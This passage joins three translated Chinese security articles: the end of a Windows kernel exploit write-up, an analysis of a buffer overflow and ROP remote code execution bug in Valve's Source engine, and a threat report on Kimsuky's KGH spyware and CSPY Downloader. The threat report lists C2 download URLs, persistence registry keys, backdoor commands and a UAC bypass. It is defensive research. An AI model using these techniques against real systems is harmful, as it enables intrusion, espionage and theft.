10的最新版本中，这些技术已得到缓解。一种仍在起作用的技术是token覆盖（token overwrite）技术。它最初于2012年在Cesar
Cerrudo的“[Easy local Windows Kernel
Exploitation](http://media.blackhat.com/bh-us-12/Briefings/Cerrudo/BH_US_12_Cerrudo_Windows_Kernel_WP.pdf)”中发布，思路是破坏`_TOKEN`对象内部的`_SEP_TOKEN_PRIVILEGES`对象。最简单的方法是在启用所有位的情况下覆盖此结构的Present和Enabled成员。这将让我们获得SeDebugPrivilege特权，允许我们将代码注入到高特权进程中，如’winlogon.exe’。
### 获取系统特权
一旦我们注入到系统进程中，这基本上就结束了。现在，我们可以运行“cmd.exe”，为我们提供了一个交互式的shell。我们还避免了`kCFG`和`SMEP`的许多问题，因为我们不执行ROP或在错误的上下文中执行任何ring0代码。
## Exploit
Exploit最终目标是Windows 10 19H1
x64，可以在这里找到[https://github.com/bluefrostsecurity/CVE-2019-1215。使用中等完整性权限执行exploit](https://github.com/bluefrostsecurity/CVE-2019-1215%E3%80%82%E4%BD%BF%E7%94%A8%E4%B8%AD%E7%AD%89%E5%AE%8C%E6%95%B4%E6%80%A7%E6%9D%83%E9%99%90%E6%89%A7%E8%A1%8Cexploit)
时，成功利用该漏洞后将生成一个具有系统权限的cmd.exe。 | 社区文章 |
# 【技术分享】Source游戏中的远程代码执行漏洞的分析
|
##### 译文声明
本文是翻译文章，文章来源：oneupsecurity.com
原文地址：<https://oneupsecurity.com/research/remote-code-execution-in-source-games>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
译者：[myswsun](http://bobao.360.cn/member/contribute?uid=877906634)
预估稿费：140RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**0x00 前言**
****
Valve的Source
SDK包含了一个缓冲区溢出漏洞，其导致在客户端和服务器上能执行任意代码。这个漏洞在射杀玩家时触发，其能导致加载特定的布娃娃模型(ragdoll
model)。多个Source游戏在2017年6月更新修复了这个漏洞。包括[CS:GO](http://blog.counter-strike.net/index.php/2017/06/18895/),
[TF2](http://store.steampowered.com/news/30157/),
[Hl2:DM](http://store.steampowered.com/news/30120/), [Portal
2](http://store.steampowered.com/news/30443/),
[L4D2](http://store.steampowered.com/news/30445/)。我们感谢Valve非常负责，并迅速处理了漏洞。Valve一天内就修复并发布了更新。
**0x01 缺少边界检查**
****
****函数nexttoken用于令牌化一个字符串。我们可以注意到，
只要找不到NULL字符或者分隔符sep，就会导致str这个buffer被复制到token这个buffer中。根本就没有边界检查。
const char *nexttoken(char *token, const char *str, char sep)
{
...
while ((*str != sep) && (*str != ''))
{
*token++ = *str++;
}
...
}
出处链接：
<https://github.com/ValveSoftware/source-sdk-2013/blob/f56bb35301836e56582a575a75864392a0177875/mp/src/game/client/cdll_util.cpp#L744-L747>
**0x02 漏洞点**
当处理布娃娃模型数据时（如一个玩家被射杀），类CRagdollCollisionRulesPars的方法ParseKeyValue会被调用。这个方法调用nexttoken来令牌化那些待进一步处理的规则。通过构造一个超过256字符的collisionpair规则，缓冲区szToken就会溢出。因szToken存储在栈上，所以ParseKeyValue的返回地址将被覆盖。
class CRagdollCollisionRulesParse : public IVPhysicsKeyHandler
{
virtual void ParseKeyValue( void *pData, const char *pKey, const char *pValue )
{
...
else if ( !strcmpi( pKey, "collisionpair" ) )
...
char szToken[256];
const char *pStr = nexttoken(szToken, pValue, ',');
...
}
}
出处链接：
<https://github.com/ValveSoftware/source-sdk-2013/blob/f56bb35301836e56582a575a75864392a0177875/mp/src/game/shared/ragdoll_shared.cpp#L92-L95>
**0x03 绕过缓解措施**
****
[
ASLR](https://en.wikipedia.org/wiki/Address_space_layout_randomization)（Address
Space Layout Randomization,
地址空间布局配置随机加载）是针对内存破环漏洞的强有力的缓解措施，它会将可执行文件加载到内存中的地址随机化。这个功能是可选的，并且一个进程内所有加载到内存的可执行文件必须开启这个功能才能使其生效。
动态库steamclient.dll没有开启ASLR。这意味着steamclient.dll加载到内存中的地址是可预测的。这使得能方便地定位并使用可执行文件内存中的指令。
**0x04 收集ROP gadget**
[ROP](https://en.wikipedia.org/wiki/Return-oriented_programming)(Return
Oriented
Programming)是一种允许通过重用程序中已存在的指令来创建shellcode的技术。简言之，你能找到一系列retn指令结尾的指令。你把ROP链的第一条指令的地址插入到栈上，当函数返回地址被pop到指令寄存器时，指令就会被执行。因为x86和x64指令不需要内存对齐，任何地址都能作为指令，于是我们可以把指令指针指向一条指令的中间，这样就可以使用更多的指令。
Immunity Debugger插件[Mona](https://www.corelan.be/index.php/2011/07/14/mona-py-the-manual/)提供了查找gadget的工具。但是这个插件无法找到所有有用的gadget，如rep movs。
**0x05 启动cmd.exe**
****
由于payload的处理方式原因，NULL字符不能使用，并且大写字符需要转化为小写字符。这意味着我们的ROP
gadget地址资源有限，我们的payload中其他数据也是。为了绕过这个，可以用一个gadget链来引导shellcode，用来定位内存中未修改的原始缓冲区。然后将未修改的payload通过rep
movs gadget复制回栈。
Steamclient.dll导入了LoadLibraryA和GetProcAddressA。这使得我们能加载任意DLL到内存中，并且得到其他的导出函数。我们导入shell32.dll以获得ShellExecuteA函数，这个函数能启动其他程序。
为了第三方有时间更新游戏，PoC会在30天后发布。Source的开发者可以使用下面的[补丁](https://oneupsecurity.com/research/remote-code-execution-in-source-games?t=r#recommended-fix)。
**0x06 提供payload**
****
Source引擎允许将自定义内容打包到地图文件中，通常情况下，这样可以用来在地图中添加一些额外的内容，比如声音或者文字。于是我们可以将布娃娃模型文件打包到一个地图文件中，而且使用与原始布娃娃模型文件一样的路径，但是使用的是我们的版本。
**0x07 修复建议**
为了防止缓冲区溢出发生，不要在缓冲区中存储它所容纳不了的过多的数据。nexttoken函数应该有一个token长度，来作为参数，这个参数用来进行边界检查。Source游戏的开发者可以使用下面的[补丁](https://oneupsecurity.com/research/blog/hl2-rce/nexttoken.patch)。为了缓解内存破环漏洞，就要为所有的模块开启ASLR。在构建过程中自动检查确保所有的模块开启了ASLR。可以使用chromium团队开发的checkbins.py工具来完成。另外，Source游戏应该被沙箱化以限制访问资源，并阻止新进程的启动。比如，当利用web浏览器的内存破环漏洞时经常会使用内核利用，因为用户层的浏览器进程是受限的，这就可以作为一个很好的沙箱化的例子。更多信息参考[chromium的沙箱实现](https://chromium.googlesource.com/chromium/src/+/master/docs/design/sandbox.md)。
下载补丁：
[https://oneupsecuritycdn-8266.kxcdn.com/static/blog/hl2-rce/nexttoken.patch](https://oneupsecuritycdn-8266.kxcdn.com/static/blog/hl2-rce/nexttoken.patch)
**0x08 总结**
视频游戏很容易成为漏洞利用的目标，这不仅是从技术上来说，从逻辑上来说也是这样。
因为视频游戏通常出现在员工的家中或者工作环境中，漏洞利用就可以能通过这种场景，进入到公司或者家中的私有网络。另外，在流行的视频游戏中发现一个远程代码执行漏洞可以用来创建僵尸网络或者传播勒索软件。
至于缓解措施嘛，游戏其实就不该安装在用于工作的设备中。游戏机器应该移到不受信的网络中，并且工作设备不应该连接到这个不受信的网络。
对那些Source的玩家而言，需要禁用第三方内容的下载以减少攻击面。通过命令cl_allowdownload 0 和 cl_downloadfilter
all就可以实现禁用第三方内容下载。
另外，因为在Source
SDK中发现了漏洞，我们可以推测，在其他的第三方模块很可能也是有漏洞的。但是如果我们对所有模块启用ASLR，这样就需要有内存泄漏漏洞才能利用了，从而加大了漏洞利用的难度。 | 社区文章 |
**作者：知道创宇404实验室翻译组**
**原文链接：<https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite>**
### 前言
[Cybereason Nightnus团队](https://www.cybereason.com/company/nocturnus
"Cybereason
Nightnus团队")一直在追踪朝鲜的各种黑客组织，其中包括名为[Kimsuky](https://attack.mitre.org/groups/G0094/
"Kimsuky")（又名：Velvet Chollima、Black
Banshee和Thillium）的网络间谍组织。该组织至少从2012年开始活跃，在全球有许多攻击历史，包括针对韩国智库的攻击，在过去几年里，他们将攻击目标扩大到包括美国、俄罗斯和欧洲各国在内的国家。他们的观测目标包括：
* Pharmaceutical/Research companies working on COVID-19 vaccines and therapies
* UN Security Council
* South Korean Ministry of Unification
* Various Human Rights Groups
* South Korean Institute for Defense Analysis
* Various Education and Academic Organizations
* Various Think Tanks
* Government Research Institutes
* Journalists covering Korean Peninsula relations
* South Korean Military
10月27日，[US-CERT发布了一份报告](https://us-cert.cisa.gov/ncas/alerts/aa20-301a "US-CERT发布了一份报告")，总结了Kimusky最近的活动，并描述了该组织的TTP和基础设施。
研究人员将报告中的信息与Cybereason
Nightnus积累的情报相结合，发现了一个未记录的模块化间谍软件套件，名为KGH_SPY，该套件为Kimsuky提供了执行间谍行动的隐身能力。
此外，Cybereason Nightnus还发现了另一种被称为CSPY
Downloader的新恶意软件，据观察，它是一种复杂的工具，具有广泛的反分析和规避能力，允许攻击者在下载额外的有效负载之前确定是否“the coast
is clear”。
最后，Cybereason Nightnus团队确定了Kimsuky使用的新服务器基础设施，该基础设施与之前确定的Kimsuky基础设施重叠。
Cybereason Platform抓获KGH后门
### 主要发现
* **发现一个新的模块化间谍软件套件：** “KGHüu SPY”是一个模块化工具套件，为攻击者提供侦察、键盘记录、信息窃取和后门功能。
* **发现一种隐形的新恶意软件：** “CSPY Downloader”是一种旨在逃避分析和下载额外有效负载的工具。
* **新的工具集基础设施：** 新发现的工具集基础设施注册于2019-2020年，与另一个名为[BabyShark](https://malpedia.caad.fkie.fraunhofer.de/details/win.babyshark "BabyShark")的Kimsuky恶意软件重叠，该恶意软件过去曾被用于针对[美国的智库](https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/ "美国的智库")。
* **反取证：** 报告中恶意软件的创建/编译时间似乎被篡改以阻止调查取证。
* **与其他Kimsuky恶意软件的行为和代码相似性：** 新发现的恶意软件与已知的Kimsuky恶意软件具有各种行为和代码相似性，包括：使用EGIS吊销证书的代码签名；共享字符串；文件命名约定；字符串解密算法；引用作者/项目的PDB路径。
* **未被防病毒检测到：** 在编写本报告时，任何防病毒供应商都未检测到一些有效负载。
### KIMSUKY基础设施重叠
Kimsuky以其复杂的基础设施而闻名，该基础设施使用免费注册的域、受损的域以及该组织注册的私有域。通过对基础设施的追踪，Nightneus团队能够检测到与[BabyShark](https://malpedia.caad.fkie.fraunhofer.de/details/win.babyshark
"BabyShark")恶意软件的重叠，以及与不同恶意软件（如[Applesed](https://www.virusbulletin.com/uploads/pdf/conference_slides/2019/VB2019-Kim.pdf
"Applesed")后门）的其他连接：
不同Kimsuky域的基础结构图及其之间的重叠
这些年来，Kimsuky一直在他们的操作中使用一系列恶意软件。Kimsuky使用的一些恶意软件的基础设施可以通过对他们的一些工具所使用的URI结构的模式分析来跟踪。下表将常见的URI模式映射到各自的恶意软件：
Malware name | Description | C2 URL Pattern
---|---|---
[AppleSeed](https://www.virusbulletin.com/uploads/pdf/conference_slides/2019/VB2019-Kim.pdf
"AppleSeed") | Backdoor |
http://hao.aini.pe[.]hu/init/image?i=ping&u=8dc1078f1639d34c&p=wait..
AppleSeed | Backdoor | http://mernberinfo[.]tech/wp-data/?m=dunan&p=de3f6e263724&v=win6.1.0-sp1-x64
AppleSeed | Backdoor |
http://eastsea.or[.]kr/?m=a&p1=00000009&p2=Win6.1.7601x64-Spy-v2370390
[FlowerPower](https://vblocalhost.com/uploads/VB2020-46.pdf "FlowerPower") |
Powershell based profiling tool |
http://dongkuiri.atwebpages[.]com/venus02/venus03/venus03.ps1
FlowerPower | Powershell based profiling tool |
http://attachchosun.atwebpages[.]com/leess1982/leess1982.ps1
[Gold Dragon](https://malpedia.caad.fkie.fraunhofer.de/details/win.gold_dragon
"Gold Dragon") | Backdoor |
http://portable.epizy[.]com/img/png/download.php?filename=images01
Gold Dragon | Backdoor |
http://foxonline123.atwebpages[.]com/home/jpg/download.php?filename=flower03
[BabyShark](https://malpedia.caad.fkie.fraunhofer.de/details/win.babyshark
"BabyShark") | VBS-based backdoor and reconnaissance tool |
http://nhpurumy.mireene[.]com/theme/basic/skin/member/basic/
upload/download.php?param=res2.txt
BabyShark | VBS-based backdoor and reconnaissance tool |
http://jmable.mireene[.]com/shop/kcp/js/com/expres.php?op=2
### 新的工具集基础设施
通过跟踪以前的基础设施并将不同Kimsuky工具使用的URI模式相关的数据关联起来，我们发现新恶意软件工具集使用的新基础设施：
Malware name | Description | C2 URL Pattern
---|---|---
KGH malware suite | Different components in the KGH malware suite |
http://csv.posadadesantiago[.]com/home?id=[Machine_name]&act=sbk&ver=x64
KGH malware suite | Different components in the KGH malware suite |
http://csv.posadadesantiago[.]com/home/up.php?id=[Machine_name]
CSPY Downloader | Downloader |
http://wave.posadadesantiago[.]com/home/dwn.php?van=10860
CSPY Downloader | Downloader |
http://wave.posadadesantiago[.]com/home/dwn.php?van=101
CSPY Downloader | Downloader |
http://wave.posadadesantiago[.]com/home/dwn.php?van=102
KGH_Backdoor winload.x | Backdoor and Keylogger component, VBS downloader |
http://csv.posadadesantiago[.]com/home?act=news&id=[Machine_name]
KGH_Backdoor winload.x | Backdoor and Keylogger component, VBS downloader |
http://csv.posadadesantiago[.]com/home?id=ֿ[Machine_name]&act=upf&ver=x64
KGH_Backdoor winload.x | Backdoor and Keylogger component, VBS downloader |
http://csv.posadadesantiago[.]com/home?id=[Machine_name]&act=tre&ver=x64
KGH_Backdoor winload.x | Backdoor and Keylogger component, VBS downloader |
http://csv.posadadesantiago[.]com/home?id=[Machine_name]&act=wbi&ver=x64
KGH_Backdoor winload.x | Backdoor and Keylogger component, VBS downloader |
http://csv.posadadesantiago[.]com/home?id=[Machine_name]&act=cmd&ver=x64
KGH_Backdoor winload.x | Backdoor and Keylogger component, VBS downloader |
http://csv.posadadesantiago[.]com/home?id=[Machine_name]&act=pws&ver=x64
PM_Abe_draft_letter _on_UN_NK_20200130.doc | Phishing document |
http://myaccounts.posadadesantiago[.]com/test/Update. php?wShell=201
新域名注册的IP地址与之前Kimsuky相关的涉及Baby Shark恶意软件的攻击报告的IP地址相同：
IP Address | Domain Name | Kimsuky Activity
---|---|---
173.205.125.124 | csv.posadadesantiago[.]com | KGH Backdoor
173.205.125.124 | wave.posadadesantiago[.]com | CSPY Downloader
173.205.125.124 | myaccounts.posadadesantiago[.]com | Malicious Phishing
Document
173.205.125.124 | www.eventosatitlan[.]com | Baby Shark / Autumn Aperture
Campaign
### 疑似反取证
回溯（[timestomping](https://attack.mitre.org/techniques/T1070/006/
"timestomping")）是许多攻击者使用的一种技术，它涉及到操纵文件的创建时间或编译日期，以阻止分析尝试（反取证）。据怀疑，本报告中提到的大多数文件的创建日期被攻击者篡改，并追溯到2016年：
Name | SHA-256 | Creation Date (likely fake) | VT Upload Date
---|---|---|---
m1.dll cur_install_x64.dll |
af13b16416760782ec81d587736cb4c9b2e7099afc10cb764eeb4c 922ee8802f | 2016-10-02
07:35:25 |
2020-10-07 13:03:45 | | |
msic.exe | E4d28fd7e0fc63429fc199c1b683340f725f0bf9834345174ff0b6a 3c0b1f60e |
2016-09-28 02:08:00 | 2020-10-07 13:03:530
msfltr32.dll | 66fc8b03bc0ab95928673e0ae7f06f34f17537caf159e178a452c2
c56ba6dda7 | 2016-10-02 07:23:16 | 2020-10-07 13:03:56
m.dll | f989d13f7d0801b32735fee018e816f3a2783a47cff0b13d70ce2f 1cbc754fb9 |
2016-09-28 08:41:36 | 2020-10-07 13:03:56
0807.dotm | 97d4898c4e70335f0adbbace34593236cb84e849592e5971a797 554d3605d323
| 2016-08-07 11:31:00 | 2020-08-19 09:46:33
0928.dotm | d88c5695ccd83dce6729b84c8c43e8a804938a7ab7cfeccaa0699 d6b1f81c95c
| 2016-09-28 02:08:00 | 2020-10-06 07:53:38
winload.exe | 7158099406d99db82b7dc9f6418c1189ee472ce3c25a3612a5ec
5672ee282dc0 | 2016-07-30 01:20:23 | 2020-06-12 01:48:02
这一假设得到了上述所有恶意软件样本中硬编码域的注册日期的支持。根据[RiskIQ
PassiveTotal](https://community.riskiq.com/ "RiskIQ
PassiveTotal")中的域名注册信息，这些域名首次注册时间为2019年1月至2020年8月，即看似被操纵的创建日期之后数年：
Domain | IP Resolution | First Observed | Earliest Observed Certificate Issue
Date
---|---|---|---
csv.posadadesantiago[.]com | 173.205.125.124 | 2020-08-09 | **SHA-1:**
87b35e1998bf00a8b7e32ed391c217deaec408ad **Date:** 2020-08-19
wave.posadadesantiago[.]com | 173.205.125.124 | 2020-02-27 | **SHA-1:**
F846981567760d40b5a90c8923ca8c2e7c881c5f **Date:** 2020-03-24
myaccounts.posadadesantiago[.]com | 173.205.125.124 | 2019-01-25 | **SHA-1:**
90d00ecb1e903959a3853e8ee1c8af89fb82a179 **Date:** 2019-01-25
### KGH间谍软件套件
KGH恶意软件套件的不同组件之间的连接
在我们的分析过程中，CyberEasonNightus发现了一个名为“KGH”的新恶意软件套件，其中包含多个用作间谍软件的模块。名称“KGH”来源于在恶意软件示例中找到的PDB路径和内部名称：
后门内部名称中的“KGH”
“m.dll”pdb路径
2017年，[Ahnlab在一份研究报告](https://www.slideshare.net/JackyMinseokCha/targeted-attacks-on-major-industry-sectors-in-south-korea-20171201-cha-minseokavar-2017-beijingfull-version
"Ahnlab在一份研究报告")中提到了“KGH”，但尚不清楚这是否与同一名恶意软件作者有关。
### 感染媒介：恶意WORD文档
感染载体似乎来自包含恶意宏的Word文档：
Name | SHA-256 | Domain | Creation Date (likely fake) | VT Upload Date
---|---|---|---|---
0807.dotm | 97d4898c4e70335f0adbbace34593236cb84e849592e5971a797554d3605d323 |
csv.posadadesantiago.com | 2016-08-07 11:31:00 | 2020-08-19 09:46:33
0928.dotm | d88c5695ccd83dce6729b84c8c43e8a804938a7ab7cfeccaa0699d6b1f81c95c |
csv.posadadesantiago.com | 2016-09-28 02:08:00 | 2020-10-06 07:53:38
我们观察到了两个Word文档，它们与上面提到的域进行通信，其中包含彼此的代码相似之处，以及前面提到的“Interview with a north
korean defector.doc”。 恶意文档的宏执行以下操作：
**0807.dotm：**
1.将名为“winload.x”的脚本和重命名为“cs.exe”的wscript.exe二进制文件删除到“%appdata%\Micorosoft\Templates”。
2.设置注册表项“HKCU \ Environment \
UserInitMprLogonScript”以运行cmd命令，该命令将“winload.x”复制为“a.vbs”，执行该命令并删除“a.vbs”。提到的注册表项用于执行登录脚本，并将在启动时执行写入到注册表中的内容。该文档正在使用此密钥来实现文件“winload.x”的持久性：
使用UserInitMprLogonScript注册表项的持久性
3.收集系统，网络和驱动器信息以及已安装的应用程序，将其保存到名为“info”的文件，然后使用iexplorer.exe将其发送到C2。
4.执行“winload.x”（“a.vbs”）时，它将尝试从“csv.posadadesantiago[.]com/home?act=news&id=[Machine_name]”下载并执行代码：
**0928.dotm:**
1.收集有关受感染的系统、网络、驱动器和已安装的应用程序的信息。
2.将收集到的信息保存到“%appdata%\Micorosoft\Templates”中名为“info”的文件中，并将其发送到C2。
3.从“csv.posadadesantiago[.]com/home?id=[Machine_name]&act=sbk&ver=x64”下载m1.dll（KGH安装程序）。
4.从“csv.posadadesantiago[.]com/home?id=[Machine_name]&act=wbi&ver=x64”下载m.dll（KGH
Browser Stealer）。
5.执行KGH安装程序：
从0928.dotm宏代码创建URL
这两个文档使用相似的函数名和变量名：
0928.dotm VB代码（左）和0807.dotm VB代码（右）
一旦宏收集了所有信息，它就会通过HTTP POST请求将数据发送到C2服务器：
收集在“info”中的系统信息
### KGH间谍软件有效负载概述
观察到以下有效负载已被前述恶意文件下载和删除：
File Name(s) | Purpose | Creation Date (likely fake) | VT Upload Date
---|---|---|---
m1.dll | Drops KGH backdoor and creates persistence to msic.exe and drops:-C:\Users\user\AppData\Local\AreSoft\msic.exe -C:\Users\user\AppData\Local\AreSoft\msfltr32.dll | 2016-10-02 07:35:25 |
2020-10-07 13:03:45
msic.exe | Loads and executes msfltr32.dll
C:\Users\user\AppData\Local\AreSoft\msfltr32.dll | 2016-09-28 02:08:00 |
2020-10-07 13:03:53
msfltr32.dll | KGH backdoor capabilities: - Persistence - Keylogger -Downloads additional payloads - Executes arbitrary commands (cmd.exe /
powershell) | 2016-10-02 07:23:16 | 2020-10-07 13:03:56
m.dll | KGH-Browser Stealer Steals stored data from Chrome, Edge, Firefox,
Thunderbird, Opera, Winscp. | 2016-09-28 08:41:36 | 2020-10-07 13:03:56
Cybereason平台捕获的宏下载/删除了以下文件：
文件的创建
### KGH安装程序（M1.DLL）的分析
KGH安装程序已于2020年10月上传到VirusTotal，在撰写本文时，任何防病毒引擎都未检测到此报告：
VT中的KGH安装程序检测
该文件是一个DLL，它执行“outinfo”导出中的安装/删除程序代码：
KGH安装程序出口
DLL的资源部分包含两个加密的Blob。可以看到，在这些资源中有朝鲜语的痕迹：
这些加密的Blob依次放置到C:\Users\user\AppData\Local\Temp\3f34a.tmp。删除它们之后，程序还将对其解密并写入新创建的文件夹并创建持久性：
* C:\Users\user\AppData\Local\AreSoft\msic.exe
* C:\Users\user\AppData\Local\AreSoft\msfltr32.dll
删除受感染机器上的文件位置
后门通过创建以下注册表自动运行项来实现持久性：
**Key:** HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\Load
**Value:** C:\Users\user\AppData\Local\AreSoft\msic.exe
### KGH后门装载程序（MSIC.EXE）的分析
KGH加载程序（msic.exe）负责在内存中加载和执行KGH后门DLL（msfltr32.dll）：
Msic.exe将msfltr32.dll加载到内存
该文件本身是未签名的，并且伪装成合法的Microsoft Windows工具：
Msfltr32.dll签名信息
### KGH后门-主模块（MSFLTR32.DLL）
msfltr32.dll是KGH后门的核心模块。后门包含以下功能：
* Persistence using autorun keys
* Keylogger
* Directory and file listing
* Downloading secondary payloads from the C2 server
* Exfiltrating collected information from the host to the C2 server
* Executing arbitrary commands via cmd.exe or PowerShell
### KGH后门：键盘记录功能
KGH后门在其代码中内置了键盘记录程序功能，这是通过轮询[GetAsyncKeyState（）](https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getasynckeystate
"GetAsyncKeyState（）")函数的常用[技术](https://eyeofrablog.wordpress.com/2017/06/11/windows-keylogger-part-1-attack-on-user-land/ "技术")来实现的：
摘录自KGH的键盘记录器功能
记录的内容存储在%appdata%中的“lg”文件夹中，文件扩展名为“.x”。
### KGH后门二级负载
KGH后门通过“csv.posadadesantiago[.]com/home?act=news&id=[Machine_name]”与C2联系，并将响应保存到“C:\Users\user\AppData\Local\Temp\n.x”：
KGH后门中的URL字符串
然后，KGH后门将解析“nx”的内容。“nx”文件可能包含“SHL”，“DLL”或“EXE”文件。
如果是“DLL”或“EXE”，则KGH后门将执行该文件。如果下载的文件包含“SHL”文件，则KGH后门将解析该文件以检索C2发送的命令：
从KGH后门检查“nx”文件类型代码
### KGH后门命令
KGH后门具有从服务器接收的一组预定义命令：
Command | Purpose
---|---
upf | Uploads files to the C2
tre | Create a list of all files in the system using the “tree” command, save
to a file named “c.txt” and upload the file to the C2
wbi | Download “m.dll” browser stealer module and exfiltrates stolen data
cmd | Execute a cmd shell command
pws | Execute a powershell command
KGH后门生成或下载的文件列表：
File | Purpose
---|---
C:\Users\user\AppData\Roaming\lg[year_month_day].x | Keylogger stolen data
storage
C:\Users\user\AppData\Local\Temp\n.x | Payload downloaded from the server
C:\Users\user\AppData\Local\Temp\C.txt | Output of tree command (directory and
files listing) C:\Windows\System32\cmd.exe /c tree /f C:\ >>
C:\Users\user\AppData\Local\Temp\C.txt
C:\Users\user\Documents\w.x | Stolen browser data (from m.dll module)
sig.x | Likely checks write permission to the disk
C:\test1.txt | N/A
### KGH INFOSTEALER模块（M.DLL）
KGH套件的另一个组件是m.dll模块，它用于信息窃取，可以从浏览器，Windows Credential
Manager，WINSCP和邮件客户端中收集数据。在编写此报告时，任何AV供应商都未检测到infostealer模块。
嵌入在m.dll模块中的PDB路径进一步显示了与KGH后门的清晰连接，因为它被命名为“KGH_Browser-Master”：
在“CSPY Downloader”的PDB中也观察到“SPY”用户，此报告中也提到了该用户：
CSPY下载器的PDB路径
infostealer模块窃取了以下应用程序中存储的信息（cookie，凭据）：
* **浏览器：** Chrome，IE / Edge，Firefox，Opera
* **WinSCP客户端**
* **Windows凭据管理器**
* **Mozilla Thunderbird邮件客户端**
主要信息窃取程序
被盗的信息被写入一个名为“wx”的文件中：
创建存储被盗数据的“wx”文件
### CSPY下载器
当寻找[US-CERT报告](https://us-cert.cisa.gov/ncas/alerts/aa20-301a "US-CERT报告")中提到的某些URI模式（“ /home/dwn.php?van=101”）时，发现另一个恶意可执行文件与C2
wave.posadadesantiago[.]com通信。
该样本是由一个名为“Interview with a north Korean
defector”的[恶意文档](https://www.virustotal.com/gui/file/252d1b7a379f97fddd691880c1cf93eaeb2a5e5572e92a25240b75953c88736c/detection
"恶意文档")提供的。嵌入其中的宏将解压缩并执行winload.exe。
经过分析，Nocturnus确定winload.exe是一种新型的下载程序，被Cybereason称为“CSPY”
，其中包含强大的规避技术，旨在确保“coast is clear”，并且在继续下载辅助有效负载之前，恶意软件不会在虚拟机或分析工具的上下文中运行：
VirusTotal上传的winload.exe与上述C2通信
[ESTSecurity](https://blog.alyac.co.kr/3052
"ESTSecurity")在报告中提到了这个文件。与调查结果一致的是，它配备了UPX，具有韩语资源、反虚拟机功能和时间戳，时间戳调整为2016年7月30日：
CSPY下载器的PDB路径
PDB恶意软件的路径和资源
该文件还使用以下已吊销的证书进行签名。可见，签约日期也可能是假的。
Kimsuky的典型吊销证书
当进一步检查文件时，可以找到一些有趣的功能。指示性字符串和API调用可以通过从每个字符中扣除1来解密，类似于KGH后门，后者的字符串可以通过从每个字符中扣除5来解密。解密字符串时，会显示恶意软件的完整日志。日志文件存储在%appdata%\microsoft\NTUSERS.log：
CSPY Downloader的解密日志字符串
有趣的是，上面提到的一些日志字符串有语法错误，这可能表明攻击者不是以英语为母语的人。
以上日志暗示此示例可能是恶意软件的调试版本。在许多情况下，攻击者使用调试版本来测试新的恶意软件或新功能。这也可能意味着该恶意软件是新开发的，尚未完全投入运行。另一个指向这一假设的线索是，恶意软件代码的某些部分似乎有缺陷或不完整。
## 反分析技术
在下载辅助有效负载之前，CSPY
Downloader会启动一系列广泛的检查，通过搜索与虚拟化相关的特定加载模块、进程PEB结构、各种文件路径、注册表项和内存，来确定它是否正在虚拟环境中调试或运行：
恶意软件执行反分析检查的方法列表
值得一提的是，解压缩CSPY
Downlader的[文件](https://www.virustotal.com/gui/file/252d1b7a379f97fddd691880c1cf93eaeb2a5e5572e92a25240b75953c88736c/detection
"文件")在删除下载程序之前运行了一系列几乎相同的反虚拟机技术。反分析检查完成后，加载程序开始准备受感染的环境以下载其他有效负载。一共有3次下载尝试（因此3次GET请求后面有一个不同的数字ID），有效负载随后被下载到用户的%temp%文件夹中。
有效负载下载方法
下载有效负载后，它们将被移动并重命名。整个过程可以总结如下：
Download URI | Filename | Copied To | Purpose
---|---|---|---
dwn.php?van=10860 | dwn.dat0 | %temp%\Appx.exe | Main executable
dwn.php?van=101 | dwn.dat1 | C:\Users\Public\Documents\AppxUp\BSup.hf |
Possible module
dwn.php?van=102 | dwn.dat2 | C:\Users\Public\Documents\AppxUp\BCup.hf |
Possible module
为了执行下载的主要有效负载，加载程序尝试伪装成合法的Windows服务，并在其虚假描述中声称其用于支持打包的应用程序。
为了避免引起受害者的怀疑，CSPY下载器利用了一种已知的UAC旁路[技术](https://cqureacademy.com/cqure-labs/cqlabs-how-uac-bypass-methods-really-work-by-adrian-denkiewicz
"技术")，该技术使用SilentCleanup任务以提升的权限执行二进制文件。
使用schtasks实用程序禁用UAC
作为利用过程的一部分，以上值将在%windir%变量下写入注册表，并在执行后删除。Appx.exe再次移动到了%programdata%\Microsoft\Windows，并且已注册为服务。
最后，CSpy将启动其自删除方法。
### 结论
在此报告中，我们发现了Kimsuky组织使用了新的工具集基础设施，该组织是一个臭名昭著的黑客组织，自2012年以来一直代表朝鲜政权开展活动。通过对新基础结构的仔细检查与模式分析相结合，Cybereason的Neuternus团队发现了“KGH
恶意软件套件”（一种可能参与近期间谍活动的模块化恶意软件）和“CSPY Downloader”（以前均未记录）。
我们发现，旧的Kimsuky恶意软件和服务器与新发现的恶意软件和基础设施之间存在某些有趣的重叠。此外，报告还强调了新的恶意软件样本与旧的Kimsuky恶意软件和ttp之间基于行为和代码的相似性。
在整个报告中，值得注意的是，攻击者采用了各种反取证和反分析技术来躲避检测，包括将恶意软件样本的创建/编译时间回溯到2016年、使用代码混淆、反虚拟机和反调试技术。在撰写本报告时，我们提到的一些样品仍未被任何供应商检测到。
虽然这次活动的受害者仍不清楚，但有线索表明，这些基础设施针对的是处理侵犯人权行为的组织。未来，Kimsuky可能会针对许多行业、组织和个人进行攻击。
### MITRE ATT&CK BREAKDOWN
Reconnaissance | Initial Access | Execution | Persistence | Defense Evasion |
Credential Access | Discovery | Collection | Exfiltration
---|---|---|---|---|---|---|---|---
[Gather Victim Host Information](https://attack.mitre.org/techniques/T1592/
"Gather Victim Host Information") |
[Phishing](https://attack.mitre.org/techniques/T1566/ "Phishing") | [Command
and Scripting Interpreter](https://attack.mitre.org/techniques/T1059/ "Command
and Scripting Interpreter") | [Registry Run
Keys](https://attack.mitre.org/techniques/T1547/001/ "Registry Run Keys") |
[Masquerading](https://attack.mitre.org/techniques/T1036/ "Masquerading") |
[Credentials from Web Browsers](https://attack.mitre.org/techniques/T1555/003/
"Credentials from Web Browsers") | [File and Directory
Discovery](https://attack.mitre.org/techniques/T1083/ "File and Directory
Discovery") | [Keylogging](https://attack.mitre.org/techniques/T1056/001/
"Keylogging") | [Exfiltration Over C2
Channel](https://attack.mitre.org/techniques/T1041/ "Exfiltration Over C2
Channel")
[Gather Victim Network Information](https://attack.mitre.org/techniques/T1590/
"Gather Victim Network Information") | | [User
Execution](https://attack.mitre.org/techniques/T1204/ "User Execution") |
